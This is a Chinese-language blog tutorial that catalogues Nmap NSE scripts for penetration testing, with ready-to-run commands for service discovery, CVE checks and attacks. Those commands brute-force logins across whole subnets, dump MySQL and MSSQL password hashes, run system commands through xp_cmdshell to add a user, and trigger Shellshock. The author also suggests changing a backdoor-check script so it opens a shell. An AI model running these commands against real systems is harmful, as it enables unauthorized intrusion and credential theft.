0×01 前言

因为今天的重点并非nmap本身的使用,主要还是想借这次机会给大家介绍一些在实战中相对比较实用的nmap脚本,所以关于nmap自身的一些基础选项就不多说了,详情可参考博客端口渗透相关文章,废话少说,咱们直接开始,实际中我们可以先用下面的语句,大概扫一眼目标机器或目标C段都跑了什么服务,心里总要先有个谱,之后才好针对性出牌嘛

  1. # nmap -sV -sT -Pn --open -v 192.168.3.23

当然,你也可以用下面的脚本先尝试获取下目标机器更详细的服务banner信息[不过这个并不详细,有时候简单telnet下就直接能看到详细的banner了,用不着nmap],看具体版本的原因是因为有些服务工具漏洞只能利用在特定的版本上,所以,提前知道大概一下还是非常有必要的,废话到此为止,咱们开始真正的内容

  1. # nmap -sT -Pn --open -v banner.nse 192.168.3.23

0×02 和ftp相关的一些漏洞检测脚本

ftp-anon.nse 检查目标ftp是否允许匿名登录,光能登陆还不够,它还会自动检测目录是否可读写,比如你想快速批量抓一些ftp

  1. # nmap -p 21 --script ftp-anon.nse -v 192.168.3.23

ftp-brute.nse ftp爆破脚本[默认只会尝试一些比较简单的弱口令,时间可能要稍微长一些(挂vpn以后这个速度可能还会更慢),毕竟,是直接在公网爆破]

  1. # nmap -p 21 --script ftp-brute.nse -v 192.168.3.23

ftp-vuln-cve2010-4221.nse    ProFTPD 1.3.3c之前的netio.c文件中的pr_netio_telnet_gets函数中存在多个栈溢出

  1. # nmap -p 21 --script ftp-vuln-cve2010-4221.nse -v 192.168.3.23

ftp-proftpd-backdoor.nse    ProFTPD 1.3.3c 被人插后门[proftpd-1.3.3c.tar.bz2],缺省只执行id命令,可自行到脚本中它换成能直接弹shell的命令

  1. # nmap -p 21 --script ftp-vuln-cve2010-4221.nse -v 192.168.3.23

ftp-vsftpd-backdoor.nse    VSFTPD v2.3.4 跟Proftp同样的问题,被人捅进去以后在代码里面插了后门

  1. # nmap -p 21 --script ftp-vsftpd-backdoor.nse -v 192.168.3.23

0×03 和ssh 相关的一些扫描脚本

sshv1.nse    大家都知道的,sshv1是可以被中间人的

  1. # nmap -p 22 --script sshv1.nse -v 192.168.3.23

0×04 和smtp,pop3,imap相关的一些扫描脚本

smtp-brute.nse   简单爆破smtp弱口令,拿这个爆进去的邮箱给人发信也许成功率会稍微高一点

  1. # nmap -p 25 --script smtp-brute.nse -v 192.168.3.23

smtp-enum-users.nse  枚举目标smtp服务器的邮件用户名,前提是目标要存在此错误配置才行,搜集一些必要的信息还是蛮好的

  1. # nmap -p 25 --script smtp-enum-users.nse -v 192.168.3.23

smtp-vuln-cve2010-4344.nse    Exim 4.70之前版本中的string.c文件中的string_vformat函数中存在堆溢出

  1. # nmap -p 25 --script smtp-vuln-cve2010-4344.nse -v 192.168.3.23

smtp-vuln-cve2011-1720.nse     Postfix 2.5.13之前版本,2.6.10之前的2.6.x版本,2.7.4之前的2.7.x版本和2.8.3之前的2.8.x版本,存在溢出

  1. # nmap -p 25 --script smtp-vuln-cve2011-1720.nse -v 192.168.3.23

smtp-vuln-cve2011-1764.nse     Exim dkim_exim_verify_finish() 存在格式字符串漏洞,太老现在基本很难遇到了

  1. # nmap -p 25 --script smtp-vuln-cve2011-1764.nse -v 192.168.3.23

pop3-brute.nse    pop简单弱口令爆破

  1. # nmap -p 110 --script pop3-brute.nse -v 192.168.3.23

imap-brute.nse    imap简单弱口令爆破

  1. # nmap -p 143,993 --script imap-brute.nse -v 192.168.3.23

0×05 和dns 相关的一些漏洞扫描脚本

dns-zone-transfer.nse 检查目标ns服务器是否允许传送,如果能,直接把子域拖出来就好了

  1. # nmap -p 53 --script dns-zone-transfer.nse -v 192.168.3.23
  2. # nmap -p 53 --script dns-zone-transfer.nse --script-args dns-zone-transfer.domain=target.org -v 192.168.3.23

hostmap-ip2hosts.nse   旁站查询,目测了一下脚本,用的ip2hosts的接口,不过该接口似乎早已停用,如果想继续用,可自行到脚本里把接口部分的代码改掉

  1. # nmap -p80 --script hostmap-ip2hosts.nse 192.168.3.23

0×06 和各种数据库相关的一些扫描脚本

informix-brute.nse   informix爆破脚本

  1. # nmap -p 9088 --script informix-brute.nse 192.168.3.23

mysql-empty-password.nse   mysql 扫描root空密码,比如你想批量抓mysql

  1. # nmap -p 3306 --script mysql-empty-password.nse -v 192.168.3.23

mysql-brute.nse    mysql root弱口令简单爆破

  1. # nmap -p 3306 --script mysql-brute.nse -v 192.168.3.23

mysql-dump-hashes.nse    导出mysql中所有用户的hash

  1. # nmap -p 3306 --script mysql-dump-hashes --script-args='username=root,password=root' 192.168.3.23

mysql-vuln-cve2012-2122.nse   Mysql身份认证漏洞[MariaDB and MySQL  5.1.61,5.2.11, 5.3.5, 5.5.22],利用条件有些苛刻 [需要目标的mysql是自己源码编译安装的,这样的成功率相对较高]

  1. # nmap -p 3306 --script mysql-vuln-cve2012-2122.nse -v 192.168.3.23
  2. # nmap -p 445 --script ms-sql-info.nse -v 203.124.11.0/24 ms-sql-info.nse 扫描C段mssql
  3. # nmap -p 1433 --script ms-sql-info.nse --script-args mssql.instance-port=1433 -v 192.168.3.0/24

ms-sql-empty-password.nse 扫描mssql sa空密码,比如你想批量抓mssql

  1. # nmap -p 1433 --script ms-sql-empty-password.nse -v 192.168.3.0/24

ms-sql-brute.nse    sa弱口令爆破

  1. # nmap -p 1433 --script ms-sql-brute.nse -v 192.168.3.0/24

ms-sql-xp-cmdshell.nse   利用xp_cmdshell,远程执行系统命令

  1. # nmap -p 1433 --script ms-sql-xp-cmdshell --script-args mssql.username=sa,mssql.password=sa,ms-sql-xp-cmdshell.cmd=net user test test add 192.168.3.0/24

ms-sql-dump-hashes.nse    导出mssql中所有的数据库用户及密码hash

  1. # nmap -p 1433 --script ms-sql-dump-hashes -v 192.168.3.0/24

pgsql-brute.nse   尝试爆破postgresql

  1. # nmap -p 5432 --script pgsql-brute -v 192.168.3.0/24

oracle-brute-stealth.nse  尝试爆破oracle

  1. # nmap --script oracle-brute-stealth -p 1521 --script-args oracle-brute-stealth.sid=ORCL  -v 192.168.3.0/24

oracle-brute.nse

  1. # nmap --script oracle-brute -p 1521 --script-args oracle-brute.sid=ORCL -v 192.168.3.0/24

mongodb-brute.nse   尝试爆破mongdb

  1. # nmap -p 27017  --script mongodb-brute 192.168.3.0/24

redis-brute.nse   redis爆破

  1. # nmap -p 6379 --script redis-brute.nse 192.168.3.0/24

0×07 和snmp相关的一些扫描脚本,用来搜集些内网信息还行,运气好也许还能查到账号密码什么的

snmp-brute.nse   爆破C段的snmp

  1. # nmap -sU --script snmp-brute --script-args snmp-brute.communitiesdb=user.txt 192.168.3.0/24

0×08 和telnet相关的一些扫描脚本

telnet-brute.nse   简单爆破telnet

  1. # nmap -p 23 --script telnet-brute --script-args userdb=myusers.lst,passdb=mypwds.lst,telnet-brute.timeout=8s -v 192.168.3.0/24

0×09 和ldap服务相关的一些利用脚本

ldap-brute.nse   简单爆破ldap

  1. # nmap -p 389 --script ldap-brute --script-args ldap.base='cn=users,dc=cqure,dc=net' 192.168.3.0/24

0×10 和各类web中间件,web集成环境相关的一些利用脚本

xmpp-brute.nse   xmpp爆破

  1. # nmap -p 5222 --script xmpp-brute.nse  192.168.3.0/24

http-iis-short-name-brute.nse  短文件扫描

  1. # nmap -p80 --script http-iis-short-name-brute.nse 192.168.3.0/24

http-iis-webdav-vuln.nse  iis 5.0 6.0 webadv写

  1. # nmap --script http-iis-webdav-vuln.nse -p80,8080 192.168.3.0/24

http-shellshock.nse bash远程执行

  1. # nmap -sV -p- --script http-shellshock --script-args uri=cgi-binbin,cmd=ls 192.168.3.0/24

http-svn-info.nse    探测目标svn

  1. # nmap --script http-svn-info 192.168.3.0/24

http-drupal-enum.nse    其实对于这类的开源程序,我们根本没必要用nmap,因为搞多了,差不多一眼就能看出来

http-wordpress-brute.nse

  1. # nmap -p80 -sV --script http-wordpress-brute --script-args 'userdb=users.txt,passdb=passwds.txt,http-wordpress-brute.hostname=domain.com,http-wordpress-brute.threads=3,brute.firstonly=true' 192.168.3.0/24

http-backup-finder.nse   扫描目标网站备份

  1. # nmap -p80 --script=http-backup-finder 192.168.3.0/24

http-vuln-cve2015-1635.nse   iis6.0远程代码执行

  1. # nmap -sV --script http-vuln-cve --script-args uri='anotheruri'  192.168.3.0/24

0×11 跟vpn相关的一些利用脚本

pptp-version.nse  识别目标pptp版本,暂时只看到一个pptp暂时还好使,其实pptp也是可以爆破的,嘿嘿……不过,实际目标中,pptp几乎没有,openvpn偏多,想直接捅目标内网,这无疑是很不错的入口

  1. # nmap -p 1723 --script pptp-version.nse 192.168.3.0/24

0×12 smb漏洞检测脚本集

  1. smb-vuln-ms08-067.nse
  2. smb-vuln-ms10-054.nse
  3. smb-vuln-ms10-061.nse
  4. smb-vuln-ms17-010.nse smb远程执行
  5. # nmap -p445 --script smb-vuln-ms17-010.nse 192.168.3.0/24

0×13 检测内网嗅探,实际测试中,貌似并没什么卵用,难道是我实验有误

  1. sniffer-detect.nse
  2. # nmap -sn -Pn --script sniffer-detect.nse 192.168.3.0/24

0×14 其它的一些辅助性脚本,其实有些实际用途可能并不大,大家选择性的用极好了

  1. rsync-brute.nse 爆破目标的rsync
  2. # nmap -p 873 --script rsync-brute --script-args 'rsync-brute.module=www' 192.168.3.0/24
  1. rlogin-brute.nse 爆破目标的rlogin
  2. # nmap -p 513 --script rlogin-brute 192.168.3.0/24
  1. vnc-brute.nse 爆破目标的vnc
  2. # nmap --script vnc-brute -p 5900 192.168.3.0/24
  1. pcanywhere-brute.nse 爆破pcanywhere
  2. # nmap -p 5631 --script=pcanywhere-brute 192.168.3.0/24
  1. nessus-brute.nse 爆破nessus,貌似现在已经不是1241端口了,实在是太老了,直接忽略吧
  2. # nmap --script nessus-brute -p 1241 192.168.3.0/24
  1. nexpose-brute.nse 爆破nexpose
  2. # nmap --script nexpose-brute -p 3780 192.168.3.0/24
  1. shodan-api.nse 配合shodan接口进行扫描,如果自己手里有0day,配合着一起用,这个威力还是不可小觑的,不过在即实际测的时候貌似还有些问题
  2. # nmap --script shodan-api --script-args 'shodan-api.target=192.168.3.0/24,shodan-api.apikey=SHODANAPIKEY'

0×15 尝试利用nmap一句话对目标C段进行常规漏洞扫描

实际测试中,会非常的慢,可能跑一个脚本验证时间都要很长,尤其在你的vps带宽不是很足,网络又不怎么好的时候,速度就更慢了,所以还是建议先大致扫一眼目标服务,然后再单独针对性的扫,这样实际的成功率可能会高很多,毕竟,不是像masscan或者zamp这种基于无状态的扫描

  1. # nmap -sT -Pn -v --script dns-zone-transfer.nse,ftp-anon.nse,ftp-proftpd-backdoor.nse,ftp-vsftpd-backdoor.nse,ftp-vuln-cve2010-4221.nse,http-backup-finder.nse,http-cisco-anyconnect.nse,http-iis-short-name-brute.nse,http-put.nse,http-php-version.nse,http-shellshock.nse,http-robots.txt.nse,http-svn-enum.nse,http-webdav-scan.nse,iis-buffer-overflow.nse,iax2-version.nse,memcached-info.nse,mongodb-info.nse,msrpc-enum.nse,ms-sql-info.nse,mysql-info.nse,nrpe-enum.nse,pptp-version.nse,redis-info.nse,rpcinfo.nse,samba-vuln-cve-2012-1182.nse,smb-vuln-ms08-067.nse,smb-vuln-ms17-010.nse,snmp-info.nse,sshv1.nse,xmpp-info.nse,tftp-enum.nse,teamspeak2-version.nse 192.168.3.0/24

尝试利用nmap一句话对目标进行C段弱口令爆破,还是上面的问题,验证一个漏洞都要那么久,更不要说跑完一个弱口令字典,nmap默认的弱口令字典大概是5000左右,也就是说一个用户名就要跑大概5000次,估计你vps带宽再小点儿的话,这个就没什么谱了,毕竟我们是在公网,不是在内网,所以,还是建议最好不要同时加载很多个弱口令爆破脚本,如果实在没办法必须爆破,可以多花点儿时间,去搜集目标有价值的用户名,以此尽可能提高自己的命中率

  1. # nmap -sT -v -Pn --script ftp-brute.nse,imap-brute.nse,smtp-brute.nse,pop3-brute.nse,mongodb-brute.nse,redis-brute.nse,ms-sql-brute.nse,rlogin-brute.nse,rsync-brute.nse,mysql-brute.nse,pgsql-brute.nse,oracle-sid-brute.nse,oracle-brute.nse,rtsp-url-brute.nse,snmp-brute.nse,svn-brute.nse,telnet-brute.nse,vnc-brute.nse,xmpp-brute.nse 192.168.3.0/24

后话:

由于nmap内置丰富的漏洞扫描脚本,也使得nmap的能力在一定程度得到了极大的扩展,意味者我们完全可以自己按照nmap事先规定好的语法来模仿实现一些简单的定制扫描,这也是让我感觉nmap做的非常好的一点,极大的可扩展性,比如,你自己握有0day的时候,想自动化干点儿什么事儿,嘿嘿……具体就不多说了,相信大家都懂,^_^,没错,masscan,zmap这种基于无状态的扫描确实快的吓人,而且shodan api也是个很不错的选择,但对定制脚本支持始终还是差了点,时间关系只挑了一些可能用到的脚本,今天就简单聊到这儿吧,工具没有没有好坏,虽然实战中不一定都能用上,关键还是大家在实际渗透过程中能灵活变通就好,话说回来,这一切的前提都是建立在别人让你扫的基础之上的,nmap的标志实在是太招摇过市了,nmap所支持的那几种扫描类型,估计早已被各种ids所免疫,说实话,有些目标可能都没什么机会让你扫,关于nmap其它的一些用法,后期遇到相对比较实用的会不定期再更新上来,大家如果有兴趣,也可以直接去参考官方,那里说的还是非常详细的,起码比我这个要详细很多,有任何问题请直接私信我

Nmap 进阶使用 [ 脚本篇 ]的更多相关文章

  1. nmap进阶使用[脚本篇]

        nmap 进阶使用 [ 脚本篇 ] 2017-05-18 NMAP 0x01 前言 因为今天的重点并非nmap本身使用,这次主要还是想给大家介绍一些在实战中相对比较实用的nmap脚本,所以关于 ...

  2. 【译】SQL Server索引进阶第八篇:唯一索引

    原文:[译]SQL Server索引进阶第八篇:唯一索引     索引设计是数据库设计中比较重要的一个环节,对数据库的性能其中至关重要的作用,但是索引的设计却又不是那么容易的事情,性能也不是那么轻易就 ...

  3. LoadRunner脚本篇

    LoadRunner脚本篇     1概述 2脚本录制 3脚本编写 4脚本调试   关  键  词:LoadRunner 性能测试脚本 摘      要:编写一个准确无误的脚本对性能测试有至关重要的意 ...

  4. 解剖Nginx·自动脚本篇(5)编译器相关主脚本

    在 Nginx 的自动脚本中,auto/cc目录下的所有脚本都是用于编译器相关配置使用的.Nginx的出色跨平台性(Linux.Darwin.Solaris.Win32 等)就有这些脚本的贡献.该目录 ...

  5. 解剖Nginx·自动脚本篇(4)工具型脚本系列

    目录 auto/have 向自动配置头文件追加可用宏定义(objs/ngx_auto_config.h) auto/nohave 向自动配置头文件追加不可用宏定义(objs/ngx_auto_conf ...

  6. JUnit5学习之八:综合进阶(终篇)

    欢迎访问我的GitHub https://github.com/zq2599/blog_demos 内容:所有原创文章分类汇总及配套源码,涉及Java.Docker.Kubernetes.DevOPS ...

  7. 鸿蒙内核源码分析(编译脚本篇) | 如何防编译环境中的牛皮癣 | 百篇博客分析OpenHarmony源码 | v58.01

    百篇博客系列篇.本篇为: v58.xx 鸿蒙内核源码分析(环境脚本篇) | 编译鸿蒙原来如此简单 | 51.c.h.o 本篇用两个脚本完成鸿蒙(L1)的编译环境安装/源码下载/编译过程,让编译,调试鸿 ...

  8. Nmap绕过防火墙&脚本的使用

    Nmap是用于端口扫描,服务检测,甚至是漏洞扫描等多种功能的强大工具.Nmap从入门到高级覆盖了许多基础的概念和命令,在这篇文章的第二部分,我将提及Nmap一些高级的技术. 防火墙和入侵检测系统(ID ...

  9. Oozie分布式任务的工作流——脚本篇

    继前一篇大体上翻译了Email的Action配置,本篇继续看一下Shell的相关配置. Shell Action Shell Action可以执行Shell脚本命令,工作流会等到shell完全执行完毕 ...

随机推荐

  1. js文件上传原理(form表单 ,FormData + XHR2 + FileReader + canvas)

    目录 form表单上传 FormData + XHR2 + FileReader + canvas 无刷新本地预览压缩上传实例 目前实现上传的方式 浏览器小于等于IE9(低版本浏览器)使用下面的方式实 ...

  2. MyBatis使用注意事项

    目录 1. 使用何种映射器配置 2. 对象生命周期和作用域 SqlSessionFactoryBuilder SqlSessionFactory SqlSession 映射器实例(Mapper Ins ...

  3. Javaweb学习笔记——(二十四)——————图书商城项目

    图书商城          环境搭建         1.导入原型             *用户模块             *分类模块             *图书模块              ...

  4. (三)微信小程序首页的分类功能和搜索功能的实现笔记

    就在昨天,微信宣布了微信小程序开发者工具新增“云开发”功能 下载最新的开发者工具,现在无需服务器即可实现小程序的快速迭代! 分类功能和搜索功能的效果图 1.首页分类功能的实现 boxtwo方法(.js ...

  5. linux文件系统初始化过程(4)---加载initrd(中)

    一.目的 上文详细介绍了CPIO格式的initrd文件,本文从源代码角度分析加载并解析initrd文件的过程. initrd文件和linux内核一般存储在磁盘空间中,在系统启动阶段由bootload负 ...

  6. linux异步IO的两种方式【转】

    转自:https://blog.csdn.net/shixin_0125/article/details/78898146 知道异步IO已经很久了,但是直到最近,才真正用它来解决一下实际问题(在一个C ...

  7. Java正则表达式应用

    查找html中的图片 import java.util.regex.Matcher; import java.util.regex.Pattern; public class PicDownload ...

  8. Lnmp下pureftpd新建FTP账户权限不足解决方法

    解决办法:  登录服务器.执行以下命令 chattr -i /home/wwwroot/default/.user.ini chown www:www -R /home/wwwroot/你的lnmp安 ...

  9. java接口自动化基础知识(二)

    二.HttpClient+testNG实现对接口的测试及校验 在上面第一篇中已经实现了基础配置和测试用例数据准备,本篇文章将以登录举例进行测试执行. 这是之前login接口的代码 @Test(grou ...

  10. 【原创】大数据基础之SPARK(9)SPARK中COLLECT和TAKE实现原理

    spark中要将计算结果取回driver,有两种方式:collect和take,这两种方式有什么差别?来看代码: org.apache.spark.rdd.RDD /** * Return an ar ...